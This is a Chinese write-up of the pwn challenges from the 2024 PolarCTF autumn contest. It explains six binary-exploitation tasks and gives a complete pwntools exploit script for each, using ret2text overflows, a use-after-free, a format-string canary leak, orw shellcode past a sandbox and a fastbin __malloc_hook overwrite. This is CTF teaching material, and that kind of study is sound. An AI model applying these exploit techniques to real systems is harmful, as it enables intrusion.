2024PolarCTF秋季个人挑战赛-pwn-wp

pwn题解题思路

本文总阅读量

find

题目分析:

start函数存在栈溢出

image-20240921154603370

题目给出了后门函数,该函数的str全局变量的内容为/bin/sh

image-20240921154641028

image-20240921154649531

直接采用ret2text即可

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import *
from ctypes import *

context(log_level='debug',arch='i386',os='linux')

filename = './pwn'
#io = process(filename)
io = remote("120.46.59.242",2148)
elf = ELF(filename)
libc = elf.libc

def debug():
	#gdb.attach(io,"b *$rebase(0xc99)")
	gdb.attach(io)

backdoor = 0x080485F1

#debug()

io.sendlineafter("Please enter what you need:\n","2")

payload = flat([cyclic(0x70+4),backdoor])
io.sendafter("Give You Ret2libc\n",payload)

io.interactive()

sys

题目分析:

打开ida,发现存在很多函数,初步判断是静态链接的题目,其中start函数存在栈溢出

image-20240921161844582

同时题目给出后门函数

image-20240921161859524

正常打ret2text即可

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *
from ctypes import *

context(log_level='debug',arch='i386',os='linux')

filename = './pwn'
#io = process(filename)
io = remote("120.46.59.242",2111)
elf = ELF(filename)
libc = elf.libc

def debug():
	#gdb.attach(io,"b *$rebase(0xc99)")
	gdb.attach(io)

backdoor = 0x080488D2

#debug()

payload = flat([cyclic(0x28+4),backdoor])
io.send(payload)

io.interactive()

ezUAF

题目分析:

ida打开题目,可以发现是堆题。漏洞点在del_note

image-20240921194328669

通过观察add_note函数,新增的A堆块会通过另一个B堆块存储A堆块地址。其中B[0]存储print_note_content函数地址,b[1]存储A堆块地址。

image-20240921194704409

通过阅读print_note函数发现,输出堆块内容的方式是通过调用B[0]存储的函数地址,输出B[1]地址指向的内容

image-20240921194852408

同时本题提供了后门函数的利用

image-20240921195013695

因此本题可以利用堆风水布局,申请B堆块空间,将B[0]更改为后门函数地址,同时利用UAF漏洞,调用后门函数。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from LibcSearcher import *
from ctypes import *

context(log_level='debug',arch='i386',os='linux')

filename = './pwn'
io = process(filename)
#io = remote("120.46.59.242",2081)
elf = ELF(filename)
libc = elf.libc

def debug():
	#gdb.attach(io,"b *$rebase(0xc99)")
	gdb.attach(io)

def add(size,content):
	io.sendafter("Your choice :","1")
	io.sendafter("Note size :",str(size))
	io.sendafter("Content",content)
	
def delete(index):
	io.sendafter("Your choice :","2")
	io.sendafter("Index :",str(index))
	
def show(index):
	io.sendafter("Your choice :","3")
	io.sendafter("Index :",str(index))

backdoor = 0x08048945

#debug()
add(0x20,"aa")#0
add(0x20,"bb")#1
add(0xb,"cc")#2
delete(0)
delete(1)
add(0xb,p32(backdoor))#3
show(0)

io.interactive()

chunk1

题目分析:

从vuln函数可看出,存在两次格式化字符串漏洞,并且两次读取都存在溢出。 image-20240921130859570

题目给出了后门函数

image-20240921130912521

同时本题的canary保护开启、PIE保护关闭,因此可以利用第一次格式化字符串,泄露canary值,第二次直接通过溢出覆盖vuln函数返回地址为后门函数地址即可。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from LibcSearcher import *
from ctypes import *

context(log_level='debug',arch='i386',os='linux')

filename = './pwn'
#io = process(filename)
io = remote("120.46.59.242",2106)
elf = ELF(filename)
libc = elf.libc

def debug():
	#gdb.attach(io,"b *$rebase(0xc99)")
	gdb.attach(io)

backdoor = 0x080485F1

#debug()
# 泄露canary
payload = b'%31$p'
io.send(payload)
sleep(0.5)
canary = int(io.recv(10),16)
print("canary:" + hex(canary))

# 覆盖ret为backdoor
payload = flat([cyclic(0x70-0xc),canary,cyclic(0xc),backdoor])
io.send(payload)

io.interactive()

try_sandbox

题目分析:

一道沙箱题,禁用了execve。

image-20240921202834542

题目使用mmap开辟了一段rwx权限的空间(0x166000)

image-20240921202513966

查看sub_40129e伪代码,存在栈溢出

image-20240921202543082

因此利用思路是利用一次栈迁移,重复调用read(0,buf,0x80),将shellcode(orw)写入0x166000的地方,然后通过ret2text执行shellcode。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
from LibcSearcher import *
from ctypes import *

context(log_level='debug',arch='amd64',os='linux')

filename = './pwn'
#io = process(filename)
io = remote("120.46.59.242",2142)
elf = ELF(filename)
libc = elf.libc

def debug():
	#gdb.attach(io,"b *$rebase(0xc99)")
	gdb.attach(io)

rwx_addr = 0x166000
read_addr = 0x4012cc

#debug()
payload = flat([cyclic(0x40),rwx_addr+0x40,read_addr,rwx_addr])
io.sendafter("我都我都不让你执行了\n",payload)

shellcode = '''
//调用open()
mov r15, 0x67616c66
push r15
mov rdi, rsp
xor rsi,rsi
push 2
pop rax
syscall
//调用read()
push 3
pop rdi
mov rsi, rsp
mov rdx, 0xff
xor rax,rax
syscall
//调用write()
push 1
pop rdi
mov rsi, rsp
mov rdx, 0xff
mov rax, rdi
syscall
'''
shellcode = asm(shellcode).ljust(0x48,b'\x90') + p64(rwx_addr)
pause()
io.send(shellcode)

io.interactive()

unk

题目分析:

打开后发现是堆题,题目同时存在UAF和堆溢出,没有额外限制(所以就不贴图了),同时远程libc版本为2.23-0ubuntu11.3_amd64,本题解题方法较多:

我这边采用UAF漏洞,通过unsortedbin chunk 泄露libc地址,然后通过fastbin attack改写__malloc_hook为one_gadget

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
from LibcSearcher import *
from ctypes import *

context(log_level='debug',arch='amd64',os='linux')

filename = './pwn'
#io = process(filename)
io = remote("120.46.59.242",2108)
elf = ELF(filename)
libc = elf.libc

# 2.23-0ubuntu11.3_amd64

def debug():
	#gdb.attach(io,"b *$rebase(0xc99)")
	#gdb.attach(io)
	gdb.attach(io,"b *0x4009fe")

def add(index,size):
	io.sendafter("choice:\n","1")
	io.sendafter("index:\n",str(index))
	io.sendafter("size:\n",str(size))
def delete(index):
	io.sendafter("choice:\n","2")
	io.sendafter("index:\n",str(index))
def edit(index,length,content):
	io.sendafter("choice:\n","3")
	io.sendafter("index:\n",str(index))
	io.sendafter("length:\n",str(length))
	io.sendafter("content:\n",content)
def show(index):
	io.sendafter("choice:\n","4")
	io.sendafter("index:\n",str(index))


add(0,0x80)
add(1,0x68)
delete(0)

show(0)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x3C4B78
print("libc_base:" + hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
print("malloc_hook:" + hex(malloc_hook))
# -------------------------------------------
add(2,0x68)

delete(1)
edit(1,0x60,p64(malloc_hook-0x23))
# -----------------------------------
add(3,0x68)
add(4,0x68)
#debug()
edit(4,0x60,b'\x00'*0x13 + p64(libc_base+0xf1247))
add(5,0x20)

io.interactive()
'''
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

'''